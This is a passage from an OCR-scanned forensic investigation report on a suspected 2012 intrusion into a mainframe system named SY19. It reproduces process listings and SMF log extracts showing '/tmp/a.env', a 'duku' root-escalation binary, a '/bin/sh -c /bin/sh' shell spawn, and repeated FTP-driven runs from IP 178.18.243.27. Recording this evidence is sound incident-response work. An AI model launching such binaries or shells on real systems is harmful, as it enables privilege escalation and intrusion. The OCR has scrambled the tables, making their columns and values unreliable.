of the suspected perpetraters com puter. The log i s  be l ieved from 5th  of Ma rch 2012, from 

othe r  activit ies c lose to th i s  l i sti ng i n  the l og.  lt l i st th ree th i ngs of specif ic i m porta nce :  

• Two i nsta nces of a . env executi ng 
• The execut ion of a . env i s  done as  "BPXDFLTU", not SU PSERUSR 

• There i s  a l so a n  execut ion of "d u ku" root tra m po l i ne  h ack 

U I D  

S U PE RUSR 

S U PE RUSR 

S U PERUSR 

S U PERUSR 

S U PE RUSR 

S U PERUSR 

S U PE RUSR 

S U PE RUSR 

P I D  

l 

3 3 5 5 4 4 3 4  

1 6 7 7 7 2 1 9  

8 3 8 8 6 0 8 4  

1 6 7 7 7 2 2 1  
1 6 7 7 7 2 2 2  

3 3 5 5 4 4 3 9  

3 3 5 5 4 4 4 0  

S U PERUSR 3 3 5 5 4 4 4 1  

S U PE RUSR 3 3 5 5 4 4 4 2  

S U PE RUSR 3 3 5 5 4 4 4 3  

S U PERUSR 5 0 3 3 1 6 6 0  
S U PERUSR 3 3 5 5 4 4 4 5  

S U PE RUSR 3 3 5 5 4 4 4 6  

S U PE RUSR 1 5  

S U PE RUSR 1 6  

S U PERUSR 1 7 
S U PE RUSR 1 8  

P P I D  C 

o 
l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 
l 

l 

l 

l 

l 

l 

T I ME CMD 

1 : 2 8 B PX P I NPR 

2 h 0 9 E ZB T C P I P 

0 : 0 0 CEAPSRVR 

2 h 0 9 E ZA SASUB 

3 3 : 1 2 OMPROUTE 

2 h 0 9  E ZACFALG 

1 1 : 3 8 E ZB TN I N I  

1 1 : 3 8 E ZB TXLUR 

1 1 : 3 8 E ZB TXLU S 

1 1 : 3 8 E ZB T T S S L  

1 1 : 3 8 E ZB TMCT L  

1 1 : 3 8 E ZB T TMS T 
1 1 : 3 8  E ZB T TMS T 

l h 2 7  GSVXMAIN 

9 : 5 2 GSVXMAIN 

9 : 5 2 GSVXVTMC 

9 : 5 2 G SVXC I C C  

l h 2 7  GSVZDTCL 

S U PE RUSR 5 0 3 3 1 6 6 8  

/ e t c / i n e t d . c on f 
l 

S T I ME TTY 
Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 3  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 0 : 0 0 / u s r / sb i n / i ne t d  - d  

H I S  2 1  

S U PE RUSR 

S U PE RUSR 

B PXDFLTU 

S U PERUSR 

S U PERUSR 

S U PERUSR 

S U PERUSR 

S U PE RUSR 

S U PE RUSR 

C S QXRC TL 

5 0 3 3 1 6 7 0  

3 3 5 5 4 4 5 5  

1 6 7 7 7 2 4 2  

5 0 3 3 1 6 7 6 

3 3 5 5 4 4 6 2  

3 1  

3 2  

3 3  

3 4  

S U PE RUSR 4 6  

B PXDFLTU 4 7  
S U PERUSR 5 8  

S U PERUSR 5 9  

S U PERU S R  6 0  

B PXDFLTU 3 3 5 5 4 4 9 7  

B PXDFLTU 5 0 3 3 1 7 1 7  

B PXDFLTU 1 6 7 7 7 2 8 6  

B PXDFLTU 6 7 1 0 8 9 3 5  

B PXDFLTU 1 6 7 7 7 2 8 8  

B PXDFLTU 1 6 7 7 7 2 8 9  

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

Feb 1 2  ? 

Feb 2 7  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 
Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

0 : 0 0 H I S IN I T  

0 : 4 2 H Z S TKSCH 

0 : 5 8 DSNADMT O 

2 : 2 4 SMCQWRK 

0 : 0 2 D SNVEUS 3 

1 0 : 5 3 C S QXRCT L  

5 3 : 1 4 C SQXJST 

1 0 : 5 3 C SQXJST 

5 3 : 1 4 C SQXRC T L  

1 0 : F e b  1 2  ? 

1 : 5 0 F T P D  

l h 5 9  ERB 3 GMFC 

4 h l 8 D SNVEUS 3 

0 : 5 4 DSNADMT O 

1 : 0 0 DSNADMT O 

l h 3 0  GENTC P S V  

1 8 h 5 7  DFH S I P  

1 8 h 5 7  D FHKEAT T 

1 8 h 5 7  DFHKE T C B  

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  D FHKE TCB 
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B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

S U PERUSR 

5 0 3 3 1 7 2 4  

1 6 7 7 7 3 0 3  

8 3 8 8 6 1 7 1  

1 6 7 7 7 3 0 9  

5 0 3 3 1 7 4 2  

5 0 3 3 1 7 4 3  

8 3 8 8 6 1 7 6  

8 3 8 8 6 1 8 0  

6 7 1 0 9 0 2 7  

/ e t c / s s h / s shd_con f i g  

B PXDFLTU 3 4 6  

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

DAF 1 4 6 0  

2 1 3 6 0 5 3 6 4 8  
B PXDFLTU 
SUPERUSR 
B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 
S U PE RUSR 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

2 1 3 5 9 5 5 3 4 4  

B PXDFLTU 

BPXDFLTU 

B PXDFLTU 
B PXDFLTU 

BPXDFLTU 
B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 
B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

SUPERUSR 

S U PERUSR 

S UPERUSR 

B PXDFLTU 

B PXDFLTU 

SUPERUSR 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

3 3 5 5 5 2 3 4  

1 2 5 7  

1 2 5 8  

1 2 6 1  

6 7 1 1 0 1 3 7  

1 2 7 4  

6 7 1 1 0 1 4 1  

1 2 7 8  

1 2 8 1  

3 3 5 5 5 8 4 5  

1 6 7 7 8 8 3 1  

8 3 8 8 7 7 1 1  

1 6 3 7  

1 6 7 7 8 8 6 4  

1 6 5 5  

1 6 7 4  

1 6 7 6  

1 6 8 7  

1 6 8 8  

1 6 9 2  

1 6 7 7 8 9 3 2  

1 7 3 2  

5 0 3 3 3 3 9 2  

1 7 4 7  

1 8 1 4  

3 3 5 5 6 2 4 8 

5 0 3 3 3 4 7 6  

8 3 8 8 7 9 1 0  

1 8 3 5  

6 7 1 1 0 7 0 1  

1 6 7 7 9 0 9 1  

1 8 8 0  

8 3 8 8 7 9 6 3  

3 3 5 5 6 3 2 1  

1 8 9 4  

8 3 8 8 8 0 9 0  

6 7 1 1 0 9 7 2  

8 3 8 8 8 2 1 6  

8 3 8 8 8 2 9 0  

3 3 5 5 6 6 6 3  

1 6 7 7 9 4 8 3  

3 3 5 5 6 7 0 7  

8 3 8 8 8 3 6 0  

6 7 1 1 1 2 9 6  

2 4 3 8  

l 

l 

l 

l 

l 

l 

l 

l 

l 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 
Feb 1 2  ? 

Feb 1 2  ? 

Feb 1 2  ? 

Ma r 0 3  ? 

l Feb 1 2  ? 

l - 0 9 : 0 0 : 5 6 ? 

l 

l 

l 

4 6  

l 
6 7 1 1 1 7 4 3  

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 
l 

l 

4 6  

l 

l 

l 

l 
l 
l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

l 

6 7 1 1 0 1 4 1  

- 1 2 : 0 0 : 2 7 ? 

- 1 2 : 0 0 : 2 7 ? 

- 1 2 : 0 0 : 2 7 ? 

- 1 2 : 5 4 : 0 1 ? 

- 1 2 : 0 0 : 2 7 ? 
- 12 : 5 8 : 57 ? 
- 1 2 : 0 0 : 2 7 ? 

- 1 2 : 0 0 : 2 7 ? 

- 1 2 : 5 8 : 1 4 ? 

- 2 3 : 2 4 : 1 7 ? 

Feb 2 7  ? 

- 2 3 : 2 4 : 0 5 ? 

- 2 3 : 2 4 : 1 2 ? 

- 2 3 : 2 4 : 1 6 ? 

- 2 3 : 2 4 : 1 7 ? 

- 2 3 : 2 4 : 1 9 ? 

- 2 3 : 2 4 : 0 2 ? 
- 0 1 : 0 0 : 1 5 ? 

- 2 3 : 2 4 : 1 7 ? 

- 1 2 : 5 4 : 5 1 ? 

- 2 3 : 2 4 : 0 5 ? 

- 2 3 : 1 0 : 0 7 ? 

- 2 3 : 2 4 : 1 3 ? 

- 2 3 : 2 4 : 0 5 ? 

- 12 : 52 : 0 9 ? 
- 0 1 : 0 0 : 1 0 ? 

- 0 1 : 0 0 : 1 5 ? 

- 2 3 : 1 0 : 1 9 ? 

- 0 1 : 0 0 : 1 5 ? 

- 2 3 : 1 0 : 1 5 ? 

- 2 3 : 2 4 : 0 5 ? 

- 2 3 : 1 0 : 0 4 ? 

- 2 3 : 2 4 : 0 2 ? 

- 0 1 : 0 0 : 0 8 ? 

Feb 1 3  ? 

- 0 8 : 1 4 : 3 4 ? 

- 1 2 : 5 8 : 5 7 ? 

l - 0 6 : 3 0 : 0 3 ? 

l Feb 2 8  ? 

l - 0 8 : 1 5 : 0 7 ? 

l - 0 8 : 3 0 : 0 3 ? 

l - 0 8 : 3 7 : 0 7 ? 

l - 1 0 : 0 0 : 0 7 ? 

l - 1 0 : 0 0 : 1 5 ? 

1 8 h 5 7  DFHKE TCB 

1 8h 5 7  DFHKE T C B  

7 : 4 6 DFHKE TCB 

7 : 4 6 DFHKE TCB 

7 : 4 6 DFH S I P  

7 : 4 6 DFHKEAT T 

7 : 4 6 DFHKE T C B  

7 : 4 6 DFHKE T C B  
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0 : 0 2 / u s r / sb i n / s shd - f  

1 8h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE T C B  

1 8h 5 7  DFHKE TCB 

1 8h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 0 0 / u s r / s b i n / ftpdn s  

1 8 h 5 7  DFHKE TCB 
0 : 0 0 / tmp/duku kuku 

1 8h 5 7  DFHKE TCB 

1 8h 5 7  DFHKE TCB 

0 : 2 5 DFHKE TCB 

0 : 2 5 DFHKE TCB 

0 : 2 2 EXEC 

O :  13  DFHKE TCB 

0 : 2 5 DFHKE TCB 

O :  13  E ZAC I C 0 3  

0 : 2 5 D FHKE T C B  

0 : 2 5 DFHKE TCB 

0 : 1 3 DFHS I P  

0 : 0 7 DFHKE T C B  

0 : 1 3 E ZAC I C 0 3 

0 : 0 0 / u s r / sb i n / ftpdn s  

0 : 2 5 DFHKEAT T 

0 : 1 2 DFHKE TCB 

0 : 1 3 DFHKE TCB 
0 : 2 5 DFHKE TCB 

0 : 0 0 / tmp/ a . env 

0 : 0 7 DFH S I P  

0 : 0 6 DFHKE TCB 

0 : 1 2 E ZAC I C 0 3 

0 : 0 7 D FHKE TCB 

0 : 1 2 D FHKE TCB 

0 : 2 5 DFHKE TCB 

0 : 1 2 DFHS I P  

0 : 2 5 DFHS I P  

0 : 0 7 DFH S I P  

0 : 0 3 F T P D  

O :  1 1  EXEC 

0 : 0 0 / b i n / s h  -c / b i n / s h  
1 8 h 5 7  DFHKE TCB 

3 : 0 3 DFH S I P  

0 : 0 2 E XE C  

1 8 h 5 7  DFHKE TCB 

0 : 1 3 E ZAC I C 0 3  

1 8h 5 7  DFHKE TCB 

1 8 h 5 7  D FHKE TCB 
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B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDF 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 
BPXDFLTU 
B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 
B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

S U PE RUSR 

B PXDFLTU 

WMROCAR 

S U PE RUSR 

S U PE RU S R  

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

B PXDFLTU 

2 4 4 3  

2 4 4 6  

1 6 7 7 9 6 6 6  

0 : 2 5 DFHKE TCB 

8 3 8 8 8 6 7 5  

1 6 7 7 9 8 2 2  

2 6 0 9  

2 6 1 1  

2 6 1 6  

8 3 8 8 8 6 9 8  

2 6 2 4  

2 6 2 8  

2 6 3 0  

2 6 3 4  

2 6 3 8  

2 6 4 4  
2 6 7 0  
2 6 7 4  

2 6 8 6  

2 6 9 8  

2 7 1 0  

2 7 1 1  

2 7 1 2  

2 7 1 7  

2 7 1 9  

3 3 5 5 7 1 5 4  

2 7 2 4  

2 7 2 5  

2 7 2 6  

2 7 2 7  

2 7 2 9  

2 7 3 0  

2 7 8 8  

2 7 9 9  

2 9 4 3  

2 9 4 5  

2 9 4 7  

2 9 4 8  

2 9 5 0  

2 9 5 2  

2 9 5 3  

3 3 5 5 7 5 2 8 

5 0 3 3 5 1 1 1  

3 5 1 2  

8 3 8 8 9 7 0 0  

5 0 3 3 5 5 3 5  

3 8 9 2 

6 7 1 1 2 7 7 0  

3 9 1 1  

3 9 1 3  

6 7 1 1 2 7 7 8  

1 6 7 8 1 1 3 4  

3 9 1 9  

1 6 7 8 2 0 0 4  

l - 1 0 : 0 0 : 1 5 ? 

l - 1 0 : 0 0 : 1 7 ? 

l - 1 0 : 0 0 : 2 6 ? 

l - 1 2 : 0 4 : 4 5 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 8 : 1 8 ? 

l - 1 2 : 0 0 : 2 5 ? 
l - 12 : 5 5 : 2 0 ? 
l - 1 2 : 0 0 : 2 5 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 3 5 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 0 0 : 2 7 ? 

l - 1 2 : 0 0 : 3 5 ? 

l - 1 2 : 0 0 : 3 3 ? 

l - 1 2 : 0 0 : 2 8 ? 

l - 1 2 : 0 0 : 2 8 ? 

l - 1 2 : 0 0 : 3 1 ? 

l - 1 2 : 0 1 : 3 6 ? 

l - 1 2 : 0 0 : 3 3 ? 

l - 1 2 : 0 1 : 3 6 ? 

l - 1 2 : 0 1 : 3 6 ? 

l - 1 2 : 0 0 : 3 5 ? 

l - 1 2 : 0 0 : 3 3 ? 

l - 1 2 : 0 0 : 3 3 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 0 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l - 1 2 : 5 9 : 4 2 ? 

l Feb 2 8  ? 

l Ma r 0 3  ? 

l - 0 1 : 0 0 : 0 8 ? 

l Ma r 0 2  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

l Feb 2 9  ? 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 2 5 DFHKE T C B  

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 2 5 DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 0 0 / txnp/ a . env. 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE T C B  

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  D FHKE TCB 
1 8 h 5 7  DFHKE TCB 

1 8h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 2 5 DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

0 : 2 5 DFHKE TCB 

0 : 2 5 DFHKE TCB 

1 8 h 5 7  D FHKE TCB 
1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  DFHKE T C B  

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  DFHKE TCB 

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  D FHKE TCB 

1 8 h 5 7  DFHKE TCB 

3 : 0 3 D FHKE TCB 

0 : 0 1 S Y S LOGD 

0 : 0 6 DFH S I P  

O :  1 1  E XE C  

0 : 0 2 D SNVEUS 3 

0 : 0 0 D SNVE U S 3 

3 : 5 2 D FH S I P  

3 : 5 2 D FHKE TCB 

3 : 5 2 D FHKE TCB 

3 : 5 2 D FHKE TCB 

3 : 5 2 D FHKE TCB 

3 : 5 2 D FHKE TCB 

7 : 4 6 D FHKE TCB 

Figure 41 Process listing showing the execution of  "a .env" on SY19 
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Sidan 1 1 1  av 574 

Report 

The fo l lowing  extracts from the SMF  type 30 logs shows the execution  of the p rogra m "a .env" 

on  SY19. 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 3 : 5 2 : 0 9 BSN0 0 5 8  T C P F T P 5  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 3 : 5 3 : 1 2 BSN0 0 5 8  T C P F T P 4  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  1 3 : 5 5 : 2 4  BSN0 0 5 8  T C P F T P 5  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 4 : 0 3 : 2 1  BSN0 0 5 8  T C P F T P 5  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 0 3 : 2 1 BSN0 0 5 8  T C PF T P 6  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 0 6 : 2 7 BSN0 0 5 8  T C P F T P 5  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 0 6 : 2 9 BSN0 0 5 8  T C P F T P 6 1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 1 4 : 2 3 BSN0 0 5 8  T C P F T P 7  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 1 4 : 3 0 BSN0 0 5 8  T C P F T P 8  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 1 4 : 5 6 BSN0 0 5 8  T C P F T P 4 1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 4 : 1 6 : 1 1 B S N 0 0 5 8  T C P FT P 9  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  1 4 : 1 7 : 3 5 B S N 0 0 5 8  T C P F T P 7  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 4 : 1 7 : 3 6 BSN0 0 5 8  T C P F T P 8  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  1 4 : 2 4 : 4 6 BSN0 0 5 8  T C P F T P 8  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  1 4 : 2 5 : 3 5 B S N 0 0 5 8  T C P F T P 1  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 4 : 2 5 : 3 7 BSN0 0 5 8  T C P F T P 1  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  1 4 : 2 7 : 1 2 BSN0 0 5 8  T C P FT P 9  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  1 4 : 2 7 : 1 3 B S N 0 0 5 8  T C P F T P 1  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  1 4 : 2 7 : 1 9 B S N 0 0 5 8  T C P F T P 1  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  1 4 : 2 7 : 1 9 BSN0 0 5 8  T C P F T P 2  1 7 8 . 1 8 . 2 4 3 . 2 7 

a . env 
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UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

1 4 : 2 8 : 4 2 B S N 0 0 5 8  

1 4 : 2 8 : 4 3 B S N 0 0 5 8  

1 4 : 3 6 : 4 1 B S N 0 0 5 8  

1 4 : 3 6 : 4 3 B S N 0 0 5 8  

1 4 : 3 8 : 2 0  B S N 0 0 5 8  

1 4 : 3 8 : 2 1  B S N 0 0 5 8  

1 4 : 3 8 : 2 6  B S N 0 0 5 8  

1 4 : 3 8 : 2 7  B S N 0 0 5 8  

1 4 : 3 9 : 4 9 B S N 0 0 5 8  

1 4 : 3 9 : 5 0 B S N 0 0 5 8  

1 4 : 4 7 : 4 7 B S N 0 0 5 8  

1 4 : 4 7 : 5 1 B S N 0 0 5 8  

1 4 : 4 9 : 2 7 B S N 0 0 5 8  

1 4 : 4 9 : 2 8 B S N 0 0 5 8  

1 4 : 4 9 : 3 3 B S N 0 0 5 8  

1 4 : 4 9 : 3 4 B S N 0 0 5 8  

1 4 : 5 0 : 5 6 B S N 0 0 5 8  

1 4 : 5 0 : 5 7 B S N 0 0 5 8  

1 4 : 5 3 : 1 4 B S N 0 0 5 8  

1 4 : 5 3 : 2 4  B S N 0 0 5 8  

1 4 : 5 6 : 2 5 B S N 0 0 5 8  

T C P FT P 9  

T C P F T P 1  

T C P F T P 2  

T C P F T P 3  

T C P F T P 2  

T C P F T P 3  

T C P F T P 3  

T C P F T P 4  

T C P F T P 2  

T C P F T P 3  

T C P F T P 4  

T C P F T P 5  

T C P F T P 4  

T C P F T P 5  

T C P F T P 5  

T C P F T P 6 

T C P F T P 4  

T C P F T P 5  

T C P F T P 3  

T C P FT P 9  

T C P F T P 3  

Sidan 1 1 2 av  574 

Report 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 

1 7 8 . 1 8 . 2 4 3 . 2 7 
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UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Mar 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Ma r 1 2  
a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Ma r 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . tx t : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM0 2 2 9 . t xt : 5Mar 1 2  

a . env 

UNXCMD . S Y 1 9 . FROM 0 2 2 9 . txt : 5Mar 1 2  

a . env 

